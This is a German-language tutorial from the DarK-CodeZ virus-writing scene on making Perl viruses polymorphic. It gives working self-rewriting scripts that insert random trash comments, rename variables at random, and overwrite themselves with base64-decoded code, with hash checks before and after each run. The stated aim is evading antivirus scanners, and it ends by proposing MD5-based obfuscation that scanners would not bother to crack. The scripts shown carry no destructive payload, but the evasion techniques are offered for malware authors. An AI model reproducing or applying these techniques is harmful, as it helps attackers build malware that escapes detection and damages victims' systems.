[php]
#!/usr/bin/perl
DaRk-CoDeZDaRk-CoDeZDaRk-CoDeZDaRk-CoDeZ
DaRk- DaRk-
CoDeZ Perl Polymorphes Coden CoDeZ
DaRk- by Perforin DaRk-
CoDeZ CoDeZ
DaRk-CoDeZDaRk-CoDeZDaRk-CoDeZDaRk-CoDeZ
$$$$$$$$$$$$$
$$ Intro $$
$$$$$$$$$$$$$
Servus Leute!
Nach meinem Perl Virus writting TuT
kommt nun mein Perl Polymorphes Coden
TuTorial :)
Ich werde hier kurz erläutern wie man
Variabeln changed, sowie Trash Code
einfügt und wie man seinen Code kodiert!
$$$$$$$$$$$$$$$$
$$ Trash Code $$
$$$$$$$$$$$$$$$$
Beim Trash Code handelt es sich wie der name
schon vermuten lässt um Code der absolut
gar keinen Sinn ergibt und nur gut ist um
den Hash Wert einer Datei zu ändern.Dazu zeig
ich euch nun ein kleines Skript.
#!/usr/bin/perl
# Simples Trash Code Skript
# by Perforin
open(Virii,"<","$0");
@Virii = <Virii>;
close(Virii);
open(Virus,">","$0");
foreach $line (@Virii) {
$zahl1 = rand(501);
$zahl2 = int($zahl1);
$zahl3 = rand(501);
$zahl4 = int($zahl3);
print Virus $line;
print Virus "#$zahl2\n";
print Virus "#$zahl4\n";
}
close(Virus);
Die Datei hab ich in meinen Hash Checker gegeben
und folgendes kam dabei raus.
trash_code.pl
Namen Hash: d32dc49518dd6601e0ec4f1c41998c80
Checksumme: 09b61e823561e0354257f979d8ec9f13
Nach dem start der Datei ändert sich der Hash
Wert.Dazu hab ich die Datei wieder gecheckt!
trash_code.pl
Namen Hash: d32dc49518dd6601e0ec4f1c41998c80
Checksumme: 5acf1d746fe4c3f3047b981d2aee4900
Dieses kleine Skript tut nichts anderes als
sich selber einzulesen, und danach sich selber
neu zu beschreiben, nur dass es unter jeden Code
Zeile noch Kommentare einfügt mit irgendwelchen
zufallszahlen.Sehr easy, trotzdem oft wirkungsvoll
da AV´s Perl Viren eh nicht ordentlich scannen…
$$$$$$$$$$$$$$$$$$
$$ Var Changing $$
$$$$$$$$$$$$$$$$$$
Das hier ist sozusagen die Königsdisziplin.
Nuja, jedenfalls hat mich das coden dieses
Skripts bissl länger beschäftigt :P
Wie auch vorhin zeig ich euch den Hash Wert
bevor und nach dem starten des Skripts!
Zuerst jedoch, das Skript selber.
#!/usr/bin/perl
# Simples Var changing Skript
# by Perforin
$zahl1 = rand(27);
$zahl2 = int($zahl1);
$zahl3 = rand(27);
$zahl4 = int($zahl3);
@uppernamen = ("A".."Z");
@lowernamen = ("a".."Z");
$ganzzahl1 = $uppernamen[$zahl2];
$ganzzahl2 = $lowernamen[$zahl4];
@vars = ("$ganzzahl1", "$ganzzahl2");
@change = ("alpha", "beta");
$alpha = 123;
$beta = 456;
print "$alpha"."$beta";
open(Virii,"<","$0");
@Virii = <Virii>;
close(Virii);
open(Virus,">","$0");
foreach $line (@Virii) {
$line =~ s/$change[0]/$vars[0]/;
$line =~ s/$change[1]/$vars[1]/;
print Virus $line;
}
close(Virus);
Hash Checking…
var_changing.pl
Namen Hash: 3495cb62d331645235b277e3e00e437d
Checksumme: f00fdbdcba608d310d91c464b93112dd
Und nach dem starten…
var_changing.pl
Namen Hash: 3495cb62d331645235b277e3e00e437d
Checksumme: 80f782187bc05003975da83ec3121527
Bäääääääm! Wieder ein anderer Hash :)
Das Skript liest sich selber ein und wechselt
die Variabeln alpha und beta.Nun, werden alpha
und beta durch einen Buchstaben der zufällig
gefunden wurde, ersetzt.Wichtig hierbei ist,
dass man nicht nur rand() benutzt sondern auch
noch int(), da bei rand() eine Zahl mit Komma
rauskommt und dies würde zu Fehlern führen.
Nuja, aus diesen Zufallszahlen werden dann
Buchstaben aus den arrays uppername und
lowername gewählt.Das muss man so machen, da
man keine Zahlen als Variabel namen wählen darf.
Diese haben eine spezielle Funktion, wie z.B $0.
$$$$$$$$$$$$$$$$$$$$
$$ Kodierter Code $$
$$$$$$$$$$$$$$$$$$$$
Kodierter Code? Kodierter Code!
Also, man kann seinen Code kodieren,und dies
geht relativ einfach.Ich muss jedoch gestehen
dass mein Skript, nicht wirklich was mit
Polymorhpismus zu tun hat, da es einfach
nur einen String dekodiert.Nuja, das Kapitel
soll eher ein Denkanstoss sien, wie mans
machen kann.Wer wirklich polymorphen
kodierten Perl Code sehen will, dem lege
ich Snakebytes Polymorphismus TuT zu Herzen.
Zu finden auf seiner Homepage!
Here we go…
#!/usr/bin/perl
# Simple Kodierungs Skript
# by Perforin
use MIME::Base64;
$kodiert = "
IyEvdXNyL2Jpbi9wZXJsDQojIFNpbXBsZSBLb2RpZXJ1bmdzIFNrcmlwdA0KIyBieSBQZXJmb3Jp
bg0KDQpwcmludCAid3d3LnBlcmZvcmlucy1zb2Z0d2FyZS5kZS52dVxuIjsNCnByaW50ICJBaG9p
IEJyYXVzZSFcbiI7
";
$decoded = decode_base64("$kodiert");
open(Virus,">","$0");
print Virus $decoded;
close(Virus);
Hash checking…
crypt_code.pl
Namen Hash: 0d719c2d9ad7fe548867f26eb44c4968
Checksumme: c8e4fc01dde5351a2638e919041b357a
Nach dem start…
crypt_code.pl
Namen Hash: 0d719c2d9ad7fe548867f26eb44c4968
Checksumme: f0c481ab21ebedceb637a9ac765ac953
Oh Wunder, ein anderer Hash.
Und ich sag euch noch was nach dem start herauskommt,
das wäre:
#!/usr/bin/perl
# Simple Kodierungs Skript
# by Perforin
print "www.perforins-software.de.vu\n";
print "Ahoi Brause!\n";
Was ist bei meinem Skript da wichtig? Wohl das
MIME Base64 Modul ;) Das macht es einen sehr
einfach.
Wenn wir nun mal ins Theoretische übergehen würden,
erläutere ich hier noch eine Idee.Man könnte ein
Skript basteln,das jede Zeile von sich selbst in
einen MD5 Hash umwandelt.So, da MD5 nur einmal geht
muss man zum dekoden einen Bruter haben. Nun, müsste
der Kodierte code nur in nicht kodierter Fassung in einem
Array vorliegen, das das Skript zum bruten benutzt.Was
bringt uns das? Ganz einfach, ein AV wird sich niemals die
mühe machen, einen Virus zu cracken.Das würde einfach zuviel
Zeit in Anspruch nehmen.Denkt mal drüber nach ;)
$$$$$$$$$$$$$
$$ __END__ $$
$$$$$$$$$$$$$
Jio, hier ist wieder Schluß mit diesem TuT.Was bleibt mir
noch zu sagen?Bleibt dem coden Treu, zieht euch soviele
Sources wie möglich rein und besucht mal hin und wieder
DarK-CodeZ oder meinen Blog.Dort gibs immer Sources,
TuTs und News!
# Ketzerei ist wie ein Baum.
# Ihre Wurzeln liegen im Dunkel,
# während ihre Blätter sich in der Sonne wiegen,
# und den Arglosen erscheint sie verführerisch und angenehm.
# Wahrlich, du kannst ihre Äste zerschneiden oder sogar den
# Baum bis zum Boden abschlagen, doch er wird erneut wachsen,
# stets stärker und dem Auge gefälliger als zuvor.
# Und immerfort wachsen die Wurzeln, dick und schwarz,
# nagen an der bitteren Erde, ziehen ihre Nahrung aus
# der Finsternis, werden immer länger und krallen sich
# tiefer und tiefer. Von solchem Wesen ist die Ketzerei,
# und deshalb ist sie so schwer zu vernichten,
# denn sie muss mit Laub und Ast, Stumpf und Stiel
# und Wurzel ausradiert werden. Sie muss völlig ausgetrieben
# werden, oder sie kehrt umso stärker zurück,
# immer und immer wieder, bis sie zu groß ist,
# um sie noch vernichten zu können. Dann sind wir verdammt.
www.DarK-CodeZ.org
www.perforins-software.de.vu
Written by Perforin
[/php]